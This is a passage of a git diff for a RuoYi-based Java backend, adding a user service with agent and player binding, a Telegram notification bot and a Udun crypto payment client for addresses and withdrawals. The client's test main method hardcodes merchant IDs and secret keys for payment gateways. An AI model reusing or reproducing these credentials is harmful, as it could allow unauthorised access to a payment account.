+import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; +import com.ruoyi.common.annotation.DataScope; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.bean.BeanValidators; +import com.ruoyi.common.utils.spring.SpringUtils; +import com.ruoyi.system.domain.SysPost; +import com.ruoyi.system.domain.SysUserPost; +import com.ruoyi.system.domain.SysUserRole; +import com.ruoyi.system.mapper.SysPostMapper; +import com.ruoyi.system.mapper.SysRoleMapper; +import com.ruoyi.system.mapper.SysUserMapper; +import com.ruoyi.system.mapper.SysUserPostMapper; +import com.ruoyi.system.mapper.SysUserRoleMapper; +import com.ruoyi.system.service.ISysConfigService; +import com.ruoyi.system.service.ISysUserService; + +/** + * 用户 业务层处理 + * + * @author ruoyi + */ +@Service +public class SysUserServiceImpl implements ISysUserService +{ + private static final Logger log = LoggerFactory.getLogger(SysUserServiceImpl.class); + + @Autowired + private SysUserMapper userMapper; + + @Autowired + private SysRoleMapper roleMapper; + + @Autowired + private SysPostMapper postMapper; + + @Autowired + private SysUserRoleMapper userRoleMapper; + + @Autowired + private SysUserPostMapper userPostMapper; + + @Autowired + private ISysConfigService configService; + + @Autowired + protected Validator validator; + + @Resource + private ITAppUserService tAppUserService; + + /** + * 根据条件分页查询用户列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + @Override + @DataScope(deptAlias = "d", userAlias = "u") + public List selectUserList(SysUser user) + { + SysUser me = SecurityUtils.getLoginUser().getUser(); + if (Objects.nonNull(me) && StringUtil.isNotEmpty(me.getUserType()) && me.getUserType().indexOf("0")==-1){ + Map params = new HashMap<>(); + params.put("userId",me.getUserId()); + user.setParams(params); + } + return userMapper.selectUserList(user); + } + + /** + * 根据条件分页查询已分配用户角色列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + @Override + @DataScope(deptAlias = "d", userAlias = "u") + public List selectAllocatedList(SysUser user) + { + return userMapper.selectAllocatedList(user); + } + + /** + * 根据条件分页查询未分配用户角色列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + @Override + @DataScope(deptAlias = "d", userAlias = "u") + public List selectUnallocatedList(SysUser user) + { + return userMapper.selectUnallocatedList(user); + } + + /** + * 通过用户名查询用户 + * + * @param userName 用户名 + * @return 用户对象信息 + */ + @Override + public SysUser selectUserByUserName(String userName) + { + return userMapper.selectUserByUserName(userName); + } + + /** + * 通过用户ID查询用户 + * + * @param userId 用户ID + * @return 用户对象信息 + */ + @Override + public SysUser selectUserById(Long userId) + { + return userMapper.selectUserById(userId); + } + + /** + * 查询用户所属角色组 + * + * @param userName 用户名 + * @return 结果 + */ + @Override + public String selectUserRoleGroup(String userName) + { + List list = roleMapper.selectRolesByUserName(userName); + if (CollectionUtils.isEmpty(list)) + { + return StringUtils.EMPTY; + } + return list.stream().map(SysRole::getRoleName).collect(Collectors.joining(",")); + } + + /** + * 查询用户所属岗位组 + * + * @param userName 用户名 + * @return 结果 + */ + @Override + public String selectUserPostGroup(String userName) + { + List list = postMapper.selectPostsByUserName(userName); + if (CollectionUtils.isEmpty(list)) + { + return StringUtils.EMPTY; + } + return list.stream().map(SysPost::getPostName).collect(Collectors.joining(",")); + } + + /** + * 校验用户名称是否唯一 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + public boolean checkUserNameUnique(SysUser user) + { + Long userId = StringUtils.isNull(user.getUserId()) ? -1L : user.getUserId(); + SysUser info = userMapper.checkUserNameUnique(user.getUserName()); + if (StringUtils.isNotNull(info) && info.getUserId().longValue() != userId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 校验手机号码是否唯一 + * + * @param user 用户信息 + * @return + */ + @Override + public boolean checkPhoneUnique(SysUser user) + { + Long userId = StringUtils.isNull(user.getUserId()) ? -1L : user.getUserId(); + SysUser info = userMapper.checkPhoneUnique(user.getPhonenumber()); + if (StringUtils.isNotNull(info) && info.getUserId().longValue() != userId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 校验email是否唯一 + * + * @param user 用户信息 + * @return + */ + @Override + public boolean checkEmailUnique(SysUser user) + { + Long userId = StringUtils.isNull(user.getUserId()) ? -1L : user.getUserId(); + SysUser info = userMapper.checkEmailUnique(user.getEmail()); + if (StringUtils.isNotNull(info) && info.getUserId().longValue() != userId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 校验用户是否允许操作 + * + * @param user 用户信息 + */ + @Override + public void checkUserAllowed(SysUser user) + { + if (StringUtils.isNotNull(user.getUserId()) && user.isAdmin()) + { + throw new ServiceException("不允许操作超级管理员用户"); + } + } + + /** + * 校验用户是否有数据权限 + * + * @param userId 用户id + */ + @Override + public void checkUserDataScope(Long userId) + { + if (!SysUser.isAdmin(SecurityUtils.getUserId())) + { + SysUser user = new SysUser(); + user.setUserId(userId); + List users = SpringUtils.getAopProxy(this).selectUserList(user); + if (StringUtils.isEmpty(users)) + { + throw new ServiceException("没有权限访问用户数据!"); + } + } + } + + /** + * 新增保存用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + @Transactional + public int insertUser(SysUser user) + { + SysUser me = SecurityUtils.getLoginUser().getUser(); + if (Objects.nonNull(me) && StringUtil.isNotEmpty(me.getUserType()) && me.getUserType().indexOf("0")==-1){ + user.setParentId(me.getUserId()); + } + // 新增用户信息 + int rows = userMapper.insertUser(user); + // 新增用户岗位关联 + insertUserPost(user); + // 新增用户与角色管理 + insertUserRole(user); + return rows; + } + + /** + * 注册用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + public boolean registerUser(SysUser user) + { + return userMapper.insertUser(user) > 0; + } + + /** + * 修改保存用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + @Transactional + public int updateUser(SysUser user) + { + Long userId = user.getUserId(); + // 删除用户与角色关联 + userRoleMapper.deleteUserRoleByUserId(userId); + // 新增用户与角色管理 + insertUserRole(user); + // 删除用户与岗位关联 + userPostMapper.deleteUserPostByUserId(userId); + // 新增用户与岗位管理 + insertUserPost(user); + return userMapper.updateUser(user); + } + + /** + * 用户授权角色 + * + * @param userId 用户ID + * @param roleIds 角色组 + */ + @Override + @Transactional + public void insertUserAuth(Long userId, Long[] roleIds) + { + userRoleMapper.deleteUserRoleByUserId(userId); + insertUserRole(userId, roleIds); + } + + /** + * 修改用户状态 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + public int updateUserStatus(SysUser user) + { + return userMapper.updateUser(user); + } + + /** + * 修改用户基本信息 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + public int updateUserProfile(SysUser user) + { + return userMapper.updateUser(user); + } + + /** + * 修改用户头像 + * + * @param userName 用户名 + * @param avatar 头像地址 + * @return 结果 + */ + @Override + public boolean updateUserAvatar(String userName, String avatar) + { + return userMapper.updateUserAvatar(userName, avatar) > 0; + } + + /** + * 重置用户密码 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + public int resetPwd(SysUser user) + { + return userMapper.updateUser(user); + } + + /** + * 重置用户密码 + * + * @param userName 用户名 + * @param password 密码 + * @return 结果 + */ + @Override + public int resetUserPwd(String userName, String password) + { + return userMapper.resetUserPwd(userName, password); + } + + /** + * 新增用户角色信息 + * + * @param user 用户对象 + */ + public void insertUserRole(SysUser user) + { + this.insertUserRole(user.getUserId(), user.getRoleIds()); + } + + /** + * 新增用户岗位信息 + * + * @param user 用户对象 + */ + public void insertUserPost(SysUser user) + { + Long[] posts = user.getPostIds(); + if (StringUtils.isNotEmpty(posts)) + { + // 新增用户与岗位管理 + List list = new ArrayList(posts.length); + for (Long postId : posts) + { + SysUserPost up = new SysUserPost(); + up.setUserId(user.getUserId()); + up.setPostId(postId); + list.add(up); + } + userPostMapper.batchUserPost(list); + } + } + + /** + * 新增用户角色信息 + * + * @param userId 用户ID + * @param roleIds 角色组 + */ + public void insertUserRole(Long userId, Long[] roleIds) + { + if (StringUtils.isNotEmpty(roleIds)) + { + // 新增用户与角色管理 + List list = new ArrayList(roleIds.length); + for (Long roleId : roleIds) + { + SysUserRole ur = new SysUserRole(); + ur.setUserId(userId); + ur.setRoleId(roleId); + list.add(ur); + } + userRoleMapper.batchUserRole(list); + } + } + + /** + * 通过用户ID删除用户 + * + * @param userId 用户ID + * @return 结果 + */ + @Override + @Transactional + public int deleteUserById(Long userId) + { + // 删除用户与角色关联 + userRoleMapper.deleteUserRoleByUserId(userId); + // 删除用户与岗位表 + userPostMapper.deleteUserPostByUserId(userId); + return userMapper.deleteUserById(userId); + } + + /** + * 批量删除用户信息 + * + * @param userIds 需要删除的用户ID + * @return 结果 + */ + @Override + @Transactional + public int deleteUserByIds(Long[] userIds) + { + for (Long userId : userIds) + { + checkUserAllowed(new SysUser(userId)); + checkUserDataScope(userId); + } + // 删除用户与角色关联 + userRoleMapper.deleteUserRole(userIds); + // 删除用户与岗位关联 + userPostMapper.deleteUserPost(userIds); + return userMapper.deleteUserByIds(userIds); + } + + /** + * 导入用户数据 + * + * @param userList 用户数据列表 + * @param isUpdateSupport 是否更新支持,如果已存在,则进行更新数据 + * @param operName 操作用户 + * @return 结果 + */ + @Override + public String importUser(List userList, Boolean isUpdateSupport, String operName) + { + if (StringUtils.isNull(userList) || userList.size() == 0) + { + throw new ServiceException("导入用户数据不能为空!"); + } + int successNum = 0; + int failureNum = 0; + StringBuilder successMsg = new StringBuilder(); + StringBuilder failureMsg = new StringBuilder(); + String password = configService.selectConfigByKey("sys.user.initPassword"); + for (SysUser user : userList) + { + try + { + // 验证是否存在这个用户 + SysUser u = userMapper.selectUserByUserName(user.getUserName()); + if (StringUtils.isNull(u)) + { + BeanValidators.validateWithException(validator, user); + user.setPassword(SecurityUtils.encryptPassword(password)); + user.setCreateBy(operName); + userMapper.insertUser(user); + successNum++; + successMsg.append("
" + successNum + "、账号 " + user.getUserName() + " 导入成功"); + } + else if (isUpdateSupport) + { + BeanValidators.validateWithException(validator, user); + checkUserAllowed(u); + checkUserDataScope(u.getUserId()); + user.setUserId(u.getUserId()); + user.setUpdateBy(operName); + userMapper.updateUser(user); + successNum++; + successMsg.append("
" + successNum + "、账号 " + user.getUserName() + " 更新成功"); + } + else + { + failureNum++; + failureMsg.append("
" + failureNum + "、账号 " + user.getUserName() + " 已存在"); + } + } + catch (Exception e) + { + failureNum++; + String msg = "
" + failureNum + "、账号 " + user.getUserName() + " 导入失败:"; + failureMsg.append(msg + e.getMessage()); + log.error(msg, e); + } + } + if (failureNum > 0) + { + failureMsg.insert(0, "很抱歉,导入失败!共 " + failureNum + " 条数据格式不正确,错误如下:"); + throw new ServiceException(failureMsg.toString()); + } + else + { + successMsg.insert(0, "恭喜您,数据已全部导入成功!共 " + successNum + " 条,数据如下:"); + } + return successMsg.toString(); + } + + @Override + @Transactional + public int bindingAppUser(Long userId, Long[] appUserIds) { + int i = 0; + //查询组长或者代理 + String adminParentIds = ""; + SysUser sysUser = userMapper.selectUserById(userId); + if (sysUser!=null){ + //先删除之前绑定的玩家用户 + tAppUserService.delUpdateByAdminUserId(userId); + if (sysUser.getUserType().equals("1") || Objects.isNull(sysUser.getParentId())){ + adminParentIds = sysUser.getUserId()+",0"; + } else if (sysUser.getUserType().equals("2")) { + adminParentIds = userId+","+sysUser.getParentId(); + } + if (appUserIds!=null && appUserIds.length>0){ + for (int j = 0; j < appUserIds.length; j++) { + TAppUser tAppUser = new TAppUser(); + tAppUser.setUserId(appUserIds[j]); + tAppUser.setAdminParentIds(adminParentIds); + tAppUser.setUpdateBy(userId+""); + i = tAppUserService.updateTAppUser(tAppUser); + } + } + }else{ + i = 0; + } + return i; + } + + @Override + @Transactional + public int bindingAdminUser(Long userId, Long[] adminUserIds) { + int i = 0; + if (adminUserIds!=null && adminUserIds.length>0){ + for (int j = 0; j < adminUserIds.length; j++) { + SysUser sysUser = new SysUser(); + sysUser.setUserId(adminUserIds[j]); + sysUser.setParentId(userId); + sysUser.setUpdateTime(DateUtils.getNowDate()); + sysUser.setUpdateBy(userId+""); + i = userMapper.updateUser(sysUser); + } + } + return i; + } + + @Override + public List selectUnboundAdminUser(SysUser user) { + return userMapper.selectUnboundAdminUser(user); + } + + @Override + public void updateUserForGoogleKey(SysUser user) { + userMapper.updateUserForGoogleKey(user.getGoogleKey(),user.getUserId()); + } + + @Override + public List selectAllAgentUser(SysUser user) { + return userMapper.selectAllAgentUser(user); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/telegrambot/MyTelegramBot.java b/ruoyi-system/src/main/java/com/ruoyi/telegrambot/MyTelegramBot.java new file mode 100644 index 0000000..3d68477 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/telegrambot/MyTelegramBot.java @@ -0,0 +1,90 @@ +package com.ruoyi.telegrambot; + +import cn.hutool.json.JSON; +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.setting.MarketUrlSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.domain.setting.TgBotSetting; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.StringUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; +import org.telegram.telegrambots.bots.TelegramLongPollingBot; +import org.telegram.telegrambots.meta.api.methods.send.SendMessage; +import org.telegram.telegrambots.meta.api.objects.Chat; +import org.telegram.telegrambots.meta.api.objects.Update; +import org.telegram.telegrambots.meta.exceptions.TelegramApiException; + +import javax.annotation.PostConstruct; +import javax.annotation.Resource; + +@Slf4j +@Component +public class MyTelegramBot extends TelegramLongPollingBot { + + private String userName; + private String token; + private String charId; + private boolean hasCharId; + + @Resource + private SettingService settingService; + + + + public void initMyTelegramBot(){ + this.hasCharId=false; + Setting setting = settingService.get(SettingEnum.TG_BOT_SETTING.name()); + if(null != setting){ + TgBotSetting tgBotSetting = JSONUtil.toBean(setting.getSettingValue(), TgBotSetting.class); + this.userName=tgBotSetting.getBotName(); + this.token=tgBotSetting.getBotToken(); + if(StringUtils.isNotEmpty(tgBotSetting.getChatId())){ + this.charId=tgBotSetting.getChatId(); + hasCharId=true; + } + + } + log.debug("初始化MyTelegramBot==========:{}",this); + } + + + @Override + public void onUpdateReceived(Update update) { + Chat chat = update.getMessage().getChat(); + if(!hasCharId && null==charId && null != chat){ + charId = chat.getId()+""; + Setting setting = settingService.get(SettingEnum.TG_BOT_SETTING.name()); + TgBotSetting tgBotSetting = JSONUtil.toBean(setting.getSettingValue(), TgBotSetting.class); + tgBotSetting.setChatId(charId); + setting.setSettingValue(JSONUtil.toJsonStr(tgBotSetting)); + settingService.saveUpdate(setting); + } + log.info("update{}:",update); + } + + @Override + public String getBotUsername() { + return userName; + } + + @Override + public String getBotToken() { + return token; + } + + + + public void toSend(SendMessage sendMessage) { + try { + if(null!=sendMessage.getText()&&!sendMessage.getText().equals("")){ + sendMessage.setChatId(charId); + execute(sendMessage); + } + } catch (TelegramApiException e) { + log.debug(e.getMessage()); + } + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/telegrambot/TelegramBotConfig.java b/ruoyi-system/src/main/java/com/ruoyi/telegrambot/TelegramBotConfig.java new file mode 100644 index 0000000..77aeba8 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/telegrambot/TelegramBotConfig.java @@ -0,0 +1,64 @@ +package com.ruoyi.telegrambot; + +import com.ruoyi.common.utils.StringUtils; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.condition.ConditionalOnClass; +import org.springframework.context.annotation.Configuration; +import org.telegram.telegrambots.bots.TelegramLongPollingBot; +import org.telegram.telegrambots.meta.TelegramBotsApi; +import org.telegram.telegrambots.meta.exceptions.TelegramApiException; +import org.telegram.telegrambots.meta.generics.BotSession; +import org.telegram.telegrambots.updatesreceivers.DefaultBotSession; + + +import javax.annotation.PostConstruct; +import javax.annotation.PreDestroy; +import javax.annotation.Resource; +import java.util.ArrayList; +import java.util.List; + +@Configuration +@Slf4j +@ConditionalOnClass(TelegramBotsApi.class) +@RequiredArgsConstructor +public class TelegramBotConfig{ + + private List sessions = new ArrayList<>(); + + private final List pollingBots = new ArrayList<>(); + + + @Resource + private MyTelegramBot myTelegramBot; + + + public void start() throws TelegramApiException { + stop(); + myTelegramBot.initMyTelegramBot(); + log.info("Starting auto config for telegram bots"); + TelegramBotsApi telegramBotsApi = new TelegramBotsApi(DefaultBotSession.class); + pollingBots.clear(); + pollingBots.add(myTelegramBot); + pollingBots.forEach(bot -> { + try { + log.info("Registering polling bot: {}", bot.getBotUsername()); + sessions.add(telegramBotsApi.registerBot(bot)); + } catch (TelegramApiException e) { + log.error("Failed to register bot {} due to error", bot.getBotUsername(), e); + } + }); + } + + public void stop() { + log.info("STOP ===============:{}",sessions); + sessions.forEach(session -> { + if (session != null && session.isRunning()) { + session.stop(); + } + }); + sessions.clear(); + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/udun/client/UdunApi.java b/ruoyi-system/src/main/java/com/ruoyi/udun/client/UdunApi.java new file mode 100644 index 0000000..134fb27 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/udun/client/UdunApi.java @@ -0,0 +1,113 @@ +package com.ruoyi.udun.client; + +import com.ruoyi.udun.domain.Address; +import com.ruoyi.udun.domain.Coin; +import com.ruoyi.udun.domain.ResultMsg; +import com.ruoyi.udun.exception.UdunException; +import java.math.BigDecimal; +import java.util.List; +public interface UdunApi { + /** + * 创建币种地址,别名和钱包编号默认,回调地址使用统一配置 + * + * @param mainCoinType 主币种编号,使用获取商户币种信息接口 + * @return 地址 + */ + Address createAddress(String mainCoinType) throws UdunException; + + /** + * 创建币种地址,别名和钱包编号自定义,回调地址使用统一配置 + * + * @param mainCoinType 主币种编号,使用获取商户币种信息接口 + * @param alias 地址别名 + * @param walletId 钱包编号 + * @return 地址 + */ + Address createAddress(String mainCoinType, String alias, String walletId) throws UdunException; + + /** + * 创建币种地址,别名和钱包编号自定义,回调地址自定义 + * + * @param mainCoinType 主币种编号,使用获取商户币种信息接口 + * @param alias 地址别名 + * @param walletId 钱包编号 + * @param callUrl 回调地址 + * @return 地址 + */ + Address createAddress(String mainCoinType, String alias, String walletId, String callUrl) throws UdunException; + + + /** + * 提币,回调地址使用统一配置 + * + * @param address 提币地址 + * @param amount 提币数量 + * @param mainCoinType 主币种编号,使用获取商户币种信息接口 + * @param coinType 子币种编号,使用获取商户币种信息接口 + * @param businessId 业务编号,必须保证该字段在系统内唯一,如果重复,则该笔提币钱包将不会进行接收 + * @param memo 备注,XRP和EOS,这两种币的提币申请该字段可选,其他类型币种不填 + * @return 返回信息 + */ + ResultMsg withdraw(String address, BigDecimal amount, String mainCoinType, String coinType, String businessId, String memo); + + /** + * 提币,回调地址自定义 + * + * @param address 提币地址 + * @param amount 提币数量 + * @param mainCoinType 主币种编号,使用获取商户币种信息接口 + * @param coinType 子币种编号,使用获取商户币种信息接口 + * @param businessId 业务编号,必须保证该字段在系统内唯一,如果重复,则该笔提币钱包将不会进行接收 + * @param memo 备注,XRP和EOS,这两种币的提币申请该字段可选,其他类型币种不填 + * @param callUrl 回调地址 + * @return 返回信息 + */ + ResultMsg withdraw(String address, BigDecimal amount, String mainCoinType, String coinType, String businessId, String memo, String callUrl); + + /** + * 代付,回调地址使用统一配置 + * + * @param address 提币地址 + * @param amount 提币数量 + * @param mainCoinType 主币种编号,使用获取商户币种信息接口 + * @param coinType 子币种编号,使用获取商户币种信息接口 + * @param businessId 业务编号,必须保证该字段在系统内唯一,如果重复,则该笔提币钱包将不会进行接收 + * @param memo 备注,XRP和EOS,这两种币的提币申请该字段可选,其他类型币种不填 + * @return 返回信息 + */ + ResultMsg autoWithdraw(String address, BigDecimal amount, String mainCoinType, String coinType, String businessId, String memo); + + /** + * 代付,回调地址自定义 + * + * @param address 提币地址 + * @param amount 提币数量 + * @param mainCoinType 主币种编号,使用获取商户币种信息接口 + * @param coinType 子币种编号,使用获取商户币种信息接口 + * @param businessId 业务编号,必须保证该字段在系统内唯一,如果重复,则该笔提币钱包将不会进行接收 + * @param memo 备注,XRP和EOS,这两种币的提币申请该字段可选,其他类型币种不填 + * @param callUrl 回调地址 + * @return 返回信息 + */ + ResultMsg autoWithdraw(String address, BigDecimal amount, String mainCoinType, String coinType, String businessId, String memo, String callUrl); + + /** + * 检验地址合法性 + * + * @param mainCoinType 主币种编号,使用获取商户币种信息接口 + * @param address 币种地址 + * @return 是否合法 + */ + boolean checkAddress(String mainCoinType, String address); + + /** + * 获取商户支持的币种,以及余额 + * + * @param showBalance 是否显示余额 + * @return 支持币种列表 + */ + List listSupportCoin(boolean showBalance); + + + boolean existAdress(String mainCoinType, String address); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/udun/client/UdunClient.java b/ruoyi-system/src/main/java/com/ruoyi/udun/client/UdunClient.java new file mode 100644 index 0000000..50084ac --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/udun/client/UdunClient.java @@ -0,0 +1,186 @@ +package com.ruoyi.udun.client; + +import cn.hutool.core.lang.Console; +import cn.hutool.core.util.StrUtil; +import cn.hutool.http.HttpStatus; +import cn.hutool.json.JSONUtil; +import com.ruoyi.common.utils.UdunUtils; +import com.ruoyi.udun.constant.ApiPath; +import com.ruoyi.udun.domain.Address; +import com.ruoyi.udun.domain.Coin; +import com.ruoyi.udun.domain.ResultMsg; +import com.ruoyi.udun.exception.UdunException; +import lombok.extern.slf4j.Slf4j; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.math.BigDecimal; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +@Slf4j +public class UdunClient implements UdunApi { + private static Logger logger = LoggerFactory.getLogger(UdunClient.class); + + /** + * UDUN API Gateway + */ + private final String gateway; + + /** + * UDUN Merchant Number + */ + private final String merchantId; + + /** + * UDUN Merchant Key + */ + private final String merchantKey; + + /** + * Callback to business system + */ + private final String defaultCallBackUrl; + + public UdunClient(String gateway, String merchantId, String merchantKey, String defaultCallBackUrl) { + this.gateway = gateway; + this.merchantId = merchantId; + this.merchantKey = merchantKey; + this.defaultCallBackUrl = defaultCallBackUrl; + } + + @Override + public Address createAddress(String mainCoinType) throws UdunException { + return createAddress(mainCoinType, "", "", defaultCallBackUrl); + } + + @Override + public Address createAddress(String mainCoinType, String alias, String walletId) throws UdunException{ + return createAddress(mainCoinType, alias, walletId, defaultCallBackUrl); + } + + @Override + public Address createAddress(String mainCoinType, String alias, String walletId, String callUrl) throws UdunException{ + Map params = new HashMap<>(); + params.put("merchantId", merchantId); + params.put("coinType", mainCoinType); + params.put("callUrl", callUrl); + params.put("walletId", walletId); + params.put("alias", alias); + + ResultMsg result = JSONUtil.toBean(UdunUtils.post(gateway, merchantKey, ApiPath.CREATE_ADDRESS, StrUtil.format("[{}]", JSONUtil.toJsonStr(params))), ResultMsg.class); + if (result.getCode() != HttpStatus.HTTP_OK) { + logger.error("createAddress:{}",JSONUtil.toJsonStr(result)); + throw new UdunException(result.getCode(), result.getMessage()); + } + return JSONUtil.toBean(result.getData(), Address.class); + } + + @Override + public ResultMsg withdraw(String address, BigDecimal amount, String mainCoinType, String coinType, String businessId, String memo) { + return withdraw(address, amount, mainCoinType, coinType, businessId, memo, defaultCallBackUrl); + } + + @Override + public ResultMsg withdraw(String address, BigDecimal amount, String mainCoinType, String coinType, String businessId, String memo, String callUrl) { + Map params = new HashMap<>(); + params.put("address", address); + params.put("amount", amount); + params.put("merchantId", merchantId); + params.put("mainCoinType", mainCoinType); + params.put("coinType", coinType); + params.put("callUrl", callUrl); + params.put("businessId", businessId); + params.put("memo", memo); + + return JSONUtil.toBean(UdunUtils.post(gateway, merchantKey, ApiPath.WITHDRAW, StrUtil.format("[{}]", JSONUtil.toJsonStr(params))), ResultMsg.class); + } + + @Override + public ResultMsg autoWithdraw(String address, BigDecimal amount, String mainCoinType, String coinType, String businessId, String memo) { + return autoWithdraw(address, amount, mainCoinType, coinType, businessId, memo, defaultCallBackUrl); + } + + @Override + public ResultMsg autoWithdraw(String address, BigDecimal amount, String mainCoinType, String coinType, String businessId, String memo, String callUrl) { + Map params = new HashMap<>(); + params.put("address", address); + params.put("amount", amount); + params.put("merchantId", merchantId); + params.put("mainCoinType", mainCoinType); + params.put("coinType", coinType); + params.put("callUrl", callUrl); + params.put("businessId", businessId); + params.put("memo", memo); + return JSONUtil.toBean(UdunUtils.post(gateway, merchantKey, ApiPath.AUTO_WITHDRAW, StrUtil.format("[{}]", JSONUtil.toJsonStr(params))), ResultMsg.class); + } + + @Override + public boolean checkAddress(String mainCoinType, String address) { + Map params = new HashMap<>(); + params.put("merchantId", merchantId); + params.put("mainCoinType", mainCoinType); + params.put("address", address); + ResultMsg result = JSONUtil.toBean(UdunUtils.post(gateway, merchantKey, ApiPath.CHECK_ADDRESS, StrUtil.format("[{}]", JSONUtil.toJsonStr(params))), ResultMsg.class); + return result.getCode() == HttpStatus.HTTP_OK; + } + + @Override + public List listSupportCoin(boolean showBalance) { + Map params = new HashMap<>(); + params.put("merchantId", merchantId); + params.put("showBalance", showBalance); + ResultMsg result = JSONUtil.toBean(UdunUtils.post(gateway, merchantKey, ApiPath.SUPPORT_COIN, JSONUtil.toJsonStr(params)), ResultMsg.class); + if (result.getCode() != HttpStatus.HTTP_OK) { + Console.error(JSONUtil.toJsonStr(result)); + return null; + } + return JSONUtil.toList(JSONUtil.parseArray(result.getData()), Coin.class); + } + + @Override + public boolean existAdress(String mainCoinType, String address) { + Map params = new HashMap<>(); + params.put("merchantId", merchantId); + params.put("mainCoinType", mainCoinType); + params.put("address", address); + ResultMsg result = JSONUtil.toBean(UdunUtils.post(gateway, merchantKey, ApiPath.EXIST_ADDRESS, StrUtil.format("[{}]", JSONUtil.toJsonStr(params))), ResultMsg.class); + return result.getCode() == HttpStatus.HTTP_OK; + } + + public static void main(String[] args) { +// //初始化 +// UdunClient udunClient = new UdunClient("https://sig10.udun.io", +// "314177", +// "bbf46150bed52da26bdedf356cdc4bff", +// "https://sig10.udun.io/udun/notify"); +// //获取商户支持币种 +// List coinList1 = udunClient.listSupportCoin(false); +// for (Coin coin:coinList1 +// ) { +// System.out.println(coin.toString()); +// } +// //创建地址 +// Address address3 = udunClient.createAddress("0"); +// System.out.println(address3); + + + //初始化 + UdunClient udunClient1 = new UdunClient("https://sig11.udun.io", + "312031", + "275476702cf57392cf1381fd2f332347", + "https://sig11.udun.io/udun/notify"); + //获取商户支持币种 + List coinList = udunClient1.listSupportCoin(false); + + boolean a= udunClient1.existAdress("60","0x67420992cd19f65ce792912b53c973ba71211d60"); + System.out.println(a); + + for (Coin coin:coinList + ) { + System.out.println(coin.toString()); + } + + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/udun/constant/ApiPath.java b/ruoyi-system/src/main/java/com/ruoyi/udun/constant/ApiPath.java new file mode 100644 index 0000000..916de1f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/udun/constant/ApiPath.java @@ -0,0 +1,15 @@ +package com.ruoyi.udun.constant; + +public class ApiPath { + public final static String CREATE_ADDRESS = "/mch/address/create"; + public final static String WITHDRAW = "/mch/withdraw"; + public final static String TRANSACTION = "/mch/transaction"; + public final static String AUTO_WITHDRAW = "/mch/withdraw/proxypay"; + public final static String SUPPORT_COIN = "/mch/support-coins"; + public final static String CHECK_PROXY = "/mch/check-proxy"; + public final static String CHECK_ADDRESS = "/mch/check/address"; + public final static String CREATE_BATCH_ADDRESS = "/mch/address/create/batch"; + + public final static String EXIST_ADDRESS="/mch/exist/address"; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Address.java b/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Address.java new file mode 100644 index 0000000..42a61e6 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Address.java @@ -0,0 +1,31 @@ +package com.ruoyi.udun.domain; + + +public class Address { + private String address; + private int coinType; + + public String getAddress() { + return address; + } + + public void setAddress(String address) { + this.address = address; + } + + public int getCoinType() { + return coinType; + } + + public void setCoinType(int coinType) { + this.coinType = coinType; + } + + @Override + public String toString() { + return "Address{" + + "address='" + address + '\'' + + ", coinType=" + coinType + + '}'; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Coin.java b/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Coin.java new file mode 100644 index 0000000..44c5657 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/udun/domain/Coin.java @@ -0,0 +1,78 @@ +package com.ruoyi.udun.domain; + +import java.math.BigDecimal; + +public class Coin { + private String name; + private String symbol; + private String mainCoinType; + private String coinType; + private String decimals; + private Integer tokenStatus; + private String mainSymbol; + private BigDecimal balance; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getSymbol() { + return symbol; + } + + public void setSymbol(String symbol) { + this.symbol = symbol; + } + + public String getMainCoinType() { + return mainCoinType; + } + + public void setMainCoinType(String mainCoinType) { + this.mainCoinType = mainCoinType; + } + + public String getCoinType() { + return coinType; + } + + public void setCoinType(String coinType) { + this.coinType = coinType; + } + + public String getDecimals() { + return decimals; + } + + public void setDecimals(String decimals) { + this.decimals = decimals; + } + + public Integer getTokenStatus() { + return tokenStatus; + } + + public void setTokenStatus(Integer 